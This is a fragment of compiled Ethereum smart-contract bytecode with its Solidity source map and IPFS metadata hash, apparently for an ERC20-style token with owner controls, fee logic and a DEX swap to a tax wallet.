f9f83856113db565b905083811015610d8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038f565b5f610d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd6565b5f81836110525760405162461bcd60e51b815260040161038f919061105e565b505f610d058486611339565b5f6020808352835180828501525f5b818110156110895785810183015185820160400152820161106d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110bd575f80fd5b50565b5f80604083850312156110d1575f80fd5b82356110dc816110a9565b946020939093013593505050565b5f805f606084860312156110fc575f80fd5b8335611107816110a9565b92506020840135611117816110a9565b929592945050506040919091013590565b5f60208284031215611138575f80fd5b8135610d8c816110a9565b5f8060408385031215611154575f80fd5b823561115f816110a9565b9150602083013561116f816110a9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111c857815f19048211156111ae576111ae61117a565b808516156111bb57918102915b93841c9390800290611193565b509250929050565b5f826111de575060016102d0565b816111ea57505f6102d0565b8160018114611200576002811461120a57611226565b60019150506102d0565b60ff84111561121b5761121b61117a565b50506001821b6102d0565b5060208310610133831016604e8410600b8410161715611249575081810a6102d0565b611253838361118e565b805f19048211156112665761126661117a565b029392505050565b5f610d8c60ff8416836111d0565b80820281158282048414176102d0576102d061117a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112da575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611303575f80fd5b8151610d8c816110a9565b5f6001820161131f5761131f61117a565b5060010190565b818103818111156102d0576102d061117a565b5f8261135357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113ba5784516001600160a01b031683529383019391830191600101611395565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d0576102d061117a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e42fe40563bbdd19fa00f08175c7d1ced63a3b4e02e57950250d23e37e7e35764736f6c63430008140033

3678:6506:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5757:83;;;;;;;;;;-1:-1:-1;5827:5:0;;;;;;;;;;;;-1:-1:-1;;;5827:5:0;;;;5757:83;;;;;;;:::i;:::-;;;;;;;;6588:161;;;;;;;;;;-1:-1:-1;6588:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6588:161:0;1023:187:1;6034:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6034:95:0;1215:177:1;6757:337:0;;;;;;;;;;-1:-1:-1;6757:337:0;;;;;:::i;:::-;;:::i;5943:83::-;;;;;;;;;;-1:-1:-1;5943:83:0;;4057:1;2000:36:1;;1988:2;1973:18;5943:83:0;1858:184:1;6137:117:0;;;;;;;;;;-1:-1:-1;6137:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6230:16:0;6203:7;6230:16;;;:7;:16;;;;;;;6137:117;2896:148;;;;;;;;;;;;;:::i;:::-;;2682:79;;;;;;;;;;-1:-1:-1;2720:7:0;2747:6;2682:79;;-1:-1:-1;;;;;2747:6:0;;;2445:51:1;;2433:2;2418:18;2682:79:0;2299:203:1;5848:87:0;;;;;;;;;;-1:-1:-1;5920:7:0;;;;;;;;;;;;-1:-1:-1;;;5920:7:0;;;;5848:87;;6262:167;;;;;;;;;;-1:-1:-1;6262:167:0;;;;;:::i;:::-;;:::i;5439:310::-;;;;;;;;;;;;;:::i;6437:143::-;;;;;;;;;;-1:-1:-1;6437:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6545:18:0;;;6518:7;6545:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6437:143;5160:271;;;;;;;;;;;;;:::i;6588:161::-;6663:4;6680:39;2222:10;6703:7;6712:6;6680:8;:39::i;:::-;-1:-1:-1;6737:4:0;6588:161;;;;;:::o;6034:95::-;6087:7;4113:13;4057:1;4113:2;:13;:::i;:::-;4100:26;;:10;:26;:::i;:::-;6107:14;;6034:95;:::o;6757:337::-;6855:4;6872:36;6882:6;6890:9;6901:6;6872:9;:36::i;:::-;6919:145;6928:6;2222:10;6950:113;6988:30;6999:10;7011:6;6988:10;:30::i;:::-;6950:113;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6950:19:0;;;;;;:11;:19;;;;;;;;2222:10;6950:33;;;;;;;;;;:37;:113::i;:::-;6919:8;:145::i;:::-;-1:-1:-1;7082:4:0;6757:337;;;;;:::o;2896:148::-;2809:6;;-1:-1:-1;;;;;2809:6:0;2222:10;2809:22;2801:67;;;;-1:-1:-1;;;2801:67:0;;;;;;;:::i;:::-;;;;;;;;;3003:1:::1;2987:6:::0;;2966:40:::1;::::0;-1:-1:-1;;;;;2987:6:0;;::::1;::::0;2966:40:::1;::::0;3003:1;;2966:40:::1;3034:1;3017:19:::0;;-1:-1:-1;;;;;;3017:19:0::1;::::0;;2896:148::o;6262:167::-;6340:4;6357:42;2222:10;6381:9;6392:6;6357:9;:42::i;5439:310::-;2809:6;;-1:-1:-1;;;;;2809:6:0;2222:10;2809:22;2801:67;;;;-1:-1:-1;;;2801:67:0;;;;;;;:::i;:::-;5503:15:::1;::::0;-1:-1:-1;;;5503:15:0;::::1;;;5502:16;5494:51;;;::::0;-1:-1:-1;;;5494:51:0;;5151:2:1;5494:51:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;5494:51:0::1;4949:347:1::0;5494:51:0::1;5556:8;::::0;-1:-1:-1;;;;;5556:8:0::1;:24;5588:21;5619:4;5625:24;5619:4:::0;-1:-1:-1;;;;;6230:16:0;6203:7;6230:16;;;:7;:16;;;;;;;6137:117;5625:24:::1;5650:1;5652::::0;5654:7:::1;2720::::0;2747:6;-1:-1:-1;;;;;2747:6:0;;2682:79;5654:7:::1;5556:122;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5556:122:0;;;-1:-1:-1;;;;;5660:15:1;;;5556:122:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;5662:15:0::1;5874:19:1::0;;;5867:35;5576:19;;5556:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5689:12:0::1;:19:::0;;-1:-1:-1;;;;5719:22:0;-1:-1:-1;;;5719:22:0;;;-1:-1:-1;5439:310:0:o;5160:271::-;2809:6;;-1:-1:-1;;;;;2809:6:0;2222:10;2809:22;2801:67;;;;-1:-1:-1;;;2801:67:0;;;;;;;:::i;:::-;5208:8:::1;:62:::0;;-1:-1:-1;;;;;;5208:62:0::1;5227:42;5208:62:::0;;::::1;::::0;;;5281:51:::1;::::0;5298:4:::1;::::0;4113:13:::1;4057:1;4113:2;:13;:::i;:::-;4100:26;::::0;:10:::1;:26;:::i;5281:51::-;5361:8;;;;;;;;;-1:-1:-1::0;;;;;5361:8:0::1;-1:-1:-1::0;;;;;5361:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5352:39:0::1;;5400:4;5407:8;;;;;;;;;-1:-1:-1::0;;;;;5407:8:0::1;-1:-1:-1::0;;;;;5407:13:0::1;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5352:71;::::0;-1:-1:-1;;;;;;5352:71:0::1;::::0;;;;;;-1:-1:-1;;;;;6710:15:1;;;5352:71:0::1;::::0;::::1;6692:34:1::0;6762:15;;6742:18;;;6735:43;6627:18;;5352:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5343:6;:80:::0;;-1:-1:-1;;;;;;5343:80:0::1;-1:-1:-1::0;;;;;5343:80:0;;;::::1;::::0;;;::::1;::::0;;5160:271::o;7102:335::-;-1:-1:-1;;;;;7195:19:0;;7187:68;;;;-1:-1:-1;;;7187:68:0;;6991:2:1;7187:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;7187:68:0;6789:400:1;7187:68:0;-1:-1:-1;;;;;7274:21:0;;7266:68;;;;-1:-1:-1;;;7266:68:0;;7396:2:1;7266:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;7266:68:0;7194:398:1;7266:68:0;-1:-1:-1;;;;;7345:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7397:32;;1361:25:1;;;7397:32:0;;1334:18:1;7397:32:0;;;;;;;7102:335;;;:::o;7679:1780::-;-1:-1:-1;;;;;7779:21:0;;7771:71;;;;-1:-1:-1;;;7771:71:0;;7799:2:1;7771:71:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;7771:71:0;7597:401:1;7771:71:0;-1:-1:-1;;;;;7861:24:0;;7853:72;;;;-1:-1:-1;;;7853:72:0;;8205:2:1;7853:72:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;7853:72:0;8003:399:1;7853:72:0;7954:1;7944:7;:11;7936:65;;;;-1:-1:-1;;;7936:65:0;;8609:2:1;7936:65:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;7936:65:0;8407:405:1;7936:65:0;8014:14;2747:6;;-1:-1:-1;;;;;8045:18:0;;;2747:6;;8045:18;;;;:43;;-1:-1:-1;2720:7:0;2747:6;-1:-1:-1;;;;;8067:21:0;;;2747:6;;8067:21;;8045:43;8041:1048;;;8114:81;8191:3;8114:72;8138:16;;8127:10;;:27;8126:59;;8170:15;;8126:59;;;8156:13;;8126:59;8114:7;;:11;:72::i;:::-;:76;;:81::i;:::-;8227:6;;8105:90;;-1:-1:-1;;;;;;8216:17:0;;;8227:6;;8216:17;:52;;;;-1:-1:-1;8259:8:0;;-1:-1:-1;;;;;8237:31:0;;;8259:8;;8237:31;;8216:52;:87;;;;-1:-1:-1;;;;;;8274:29:0;;;;;;:17;:29;;;;;;;;8272:31;8216:87;8212:140;;;8324:10;:12;;;:10;:12;;;:::i;:::-;;;;;;8212:140;8385:6;;-1:-1:-1;;;;;8371:20:0;;;8385:6;;8371:20;:47;;;;-1:-1:-1;;;;;;8395:23:0;;8413:4;8395:23;;8371:47;8368:180;;;8448:84;8528:3;8448:75;8472:17;;8461:10;;:28;8460:62;;8506:16;;8460:62;;;8491:14;;8448:7;;:11;:75::i;:84::-;8439:93;;8368:180;8613:4;8564:28;6230:16;;;:7;:16;;;;;;8639:6;;-1:-1:-1;;;8639:6:0;;;;8638:7;:31;;;;-1:-1:-1;8663:6:0;;-1:-1:-1;;;;;8649:20:0;;;8663:6;;8649:20;8638:31;:47;;;;-1:-1:-1;8673:12:0;;-1:-1:-1;;;8673:12:0;;;;8638:47;:82;;;;;8702:18;;8689:10;;:31;8638:82;8634:444;;;8767:12;;8744:20;:35;8741:128;;;8798:71;8815:53;8819:7;8828:39;8832:20;8854:12;;8828:3;:39::i;:::-;8815:3;:53::i;:::-;8798:16;:71::i;:::-;8917:21;9009:34;9021:21;9009:11;:34::i;:::-;8722:356;8634:444;8090:999;8041:1048;9104:8;;9101:151;;9165:4;9149:22;;;;:7;:22;;;;;;:34;;9176:6;9149:26;:34::i;:::-;9142:4;9126:22;;;;:7;:22;;;;;;;:57;;;;9201:39;;-1:-1:-1;;;;;9201:39:0;;;;;;;9233:6;1361:25:1;;1349:2;1334:18;;1215:177;9201:39:0;;;;;;;;9101:151;-1:-1:-1;;;;;9281:16:0;;;;;;:7;:16;;;;;;:29;;9302:7;9281:20;:29::i;:::-;-1:-1:-1;;;;;9264:16:0;;;;;;:7;:16;;;;;:46;9341:44;9365:19;:7;9377:6;9365:11;:19::i;:::-;-1:-1:-1;;;;;9341:19:0;;;;;;:7;:19;;;;;;;:23;:44::i;:::-;-1:-1:-1;;;;;9321:19:0;;;;;;;:7;:19;;;;;:64;;;;9401:50;;;9431:19;:7;9443:6;9431:11;:19::i;:::-;9401:50;;1361:25:1;;;1349:2;1334:18;9401:50:0;;;;;;;7760:1699;7679:1780;;;:::o;7445:226::-;-1:-1:-1;;;;;7564:25:0;;7518:15;7564:25;;;:17;:25;;;;;;7518:15;;7564:25;;:51;;;;-1:-1:-1;;;;;;7593:22:0;;7610:4;7593:22;;7564:51;:65;;;;;7628:1;7619:6;:10;7564:65;7546:83;;7635:10;7631:32;;7657:6;7647:16;;7631:32;7535:136;7445:226;;;;:::o;1319:190::-;1405:7;1441:12;1433:6;;;;1425:29;;;;-1:-1:-1;;;1425:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1465:9:0;1477:5;1481:1;1477;:5;:::i;:::-;1465:17;1319:190;-1:-1:-1;;;;;1319:190:0:o;1517:246::-;1575:7;1599:1;1604;1599:6;1595:47;;-1:-1:-1;1629:1:0;1622:8;;1595:47;1652:9;1664:5;1668:1;1664;:5;:::i;:::-;1652:17;-1:-1:-1;1697:1:0;1688:5;1692:1;1652:17;1688:5;:::i;:::-;:10;1680:56;;;;-1:-1:-1;;;1680:56:0;;9514:2:1;1680:56:0;;;9496:21:1;9553:2;9533:18;;;9526:30;9592:34;9572:18;;;9565:62;-1:-1:-1;;;9643:18:1;;;9636:31;9684:19;;1680:56:0;9312:397:1;1680:56:0;1754:1;1517:246;-1:-1:-1;;;1517:246:0:o;1771:132::-;1829:7;1856:39;1860:1;1863;1856:39;;;;;;;;;;;;;;;;;:3;:39::i;9504:99::-;9561:7;9589:1;9587;:3;9586:9;;9594:1;9586:9;;;-1:-1:-1;9592:1:0;9504:99;-1:-1:-1;9504:99:0:o;9719:462::-;4821:6;:13;;-1:-1:-1;;;;4821:13:0;-1:-1:-1;;;4821:13:0;;;9821:16:::1;::::0;;9835:1:::1;9821:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9821:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9821:16:0::1;9797:40;;9866:4;9848;9853:1;9848:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9848:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9892:8:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;9892:15:0;;;;:8;;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;9848:7;;9892:15;;;;;:8;:15:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9882:4;9887:1;9882:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9882:25:0;;::::1;:7;::::0;;::::1;::::0;;;;;:25;9950:8:::1;::::0;9918:55:::1;::::0;9935:4:::1;::::0;9950:8:::1;9961:11:::0;9918:8:::1;:55::i;:::-;9984:8;::::0;:189:::1;::::0;-1:-1:-1;;;9984:189:0;;-1:-1:-1;;;;;9984:8:0;;::::1;::::0;:59:::1;::::0;:189:::1;::::0;10058:11;;9984:8:::1;::::0;10100:4;;10127::::1;::::0;10147:15:::1;::::0;9984:189:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4857:6:0;:14;;-1:-1:-1;;;;4857:14:0;;;-1:-1:-1;;;;9719:462:0:o;9611:100::-;9675:10;;9667:36;;-1:-1:-1;;;;;9675:10:0;;;;9667:36;;;;;9696:6;;9675:10;9667:36;9675:10;9667:36;9696:6;9675:10;9667:36;;;;;;;;;;;;;;;;;;;;;9611:100;:::o;988:179::-;1046:7;;1078:5;1082:1;1078;:5;:::i;:::-;1066:17;;1107:1;1102;:6;;1094:46;;;;-1:-1:-1;;;1094:46:0;;11295:2:1;1094:46:0;;;11277:21:1;11334:2;11314:18;;;11307:30;11373:29;11353:18;;;11346:57;11420:18;;1094:46:0;11093:351:1;1175:136:0;1233:7;1260:43;1264:1;1267;1260:43;;;;;;;;;;;;;;;;;:3;:43::i;1911:189::-;1997:7;2032:12;2025:5;2017:28;;;;-1:-1:-1;;;2017:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2056:9:0;2068:5;2072:1;2068;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5913:306::-;6001:6;6009;6017;6070:2;6058:9;6049:7;6045:23;6041:32;6038:52;;;6086:1;6083;6076:12;6038:52;6115:9;6109:16;6099:26;;6165:2;6154:9;6150:18;6144:25;6134:35;;6209:2;6198:9;6194:18;6188:25;6178:35;;5913:306;;;;;:::o;6224:251::-;6294:6;6347:2;6335:9;6326:7;6322:23;6318:32;6315:52;;;6363:1;6360;6353:12;6315:52;6395:9;6389:16;6414:31;6439:5;6414:31;:::i;8817:135::-;8856:3;8877:17;;;8874:43;;8897:18;;:::i;:::-;-1:-1:-1;8944:1:1;8933:13;;8817:135::o;8957:128::-;9024:9;;;9045:11;;;9042:37;;;9059:18;;:::i;9090:217::-;9130:1;9156;9146:132;;9200:10;9195:3;9191:20;9188:1;9181:31;9235:4;9232:1;9225:15;9263:4;9260:1;9253:15;9146:132;-1:-1:-1;9292:9:1;;9090:217::o;9846:127::-;9907:10;9902:3;9898:20;9895:1;9888:31;9938:4;9935:1;9928:15;9962:4;9959:1;9952:15;9978:980;10240:4;10288:3;10277:9;10273:19;10319:6;10308:9;10301:25;10345:2;10383:6;10378:2;10367:9;10363:18;10356:34;10426:3;10421:2;10410:9;10406:18;10399:31;10450:6;10485;10479:13;10516:6;10508;10501:22;10554:3;10543:9;10539:19;10532:26;;10593:2;10585:6;10581:15;10567:29;;10614:1;10624:195;10638:6;10635:1;10632:13;10624:195;;;10703:13;;-1:-1:-1;;;;;10699:39:1;10687:52;;10794:15;;;;10759:12;;;;10735:1;10653:9;10624:195;;;-1:-1:-1;;;;;;;10875:32:1;;;;10870:2;10855:18;;10848:60;-1:-1:-1;;;10939:3:1;10924:19;10917:35;10836:3;9978:980;-1:-1:-1;;;9978:980:1:o;10963:125::-;11028:9;;;11049:10;;;11046:36;;;11062:18;;:::i

ipfs://7e42fe40563bbdd19fa00f08175c7d1ced63a3b4e02e57950250d23e37e7e357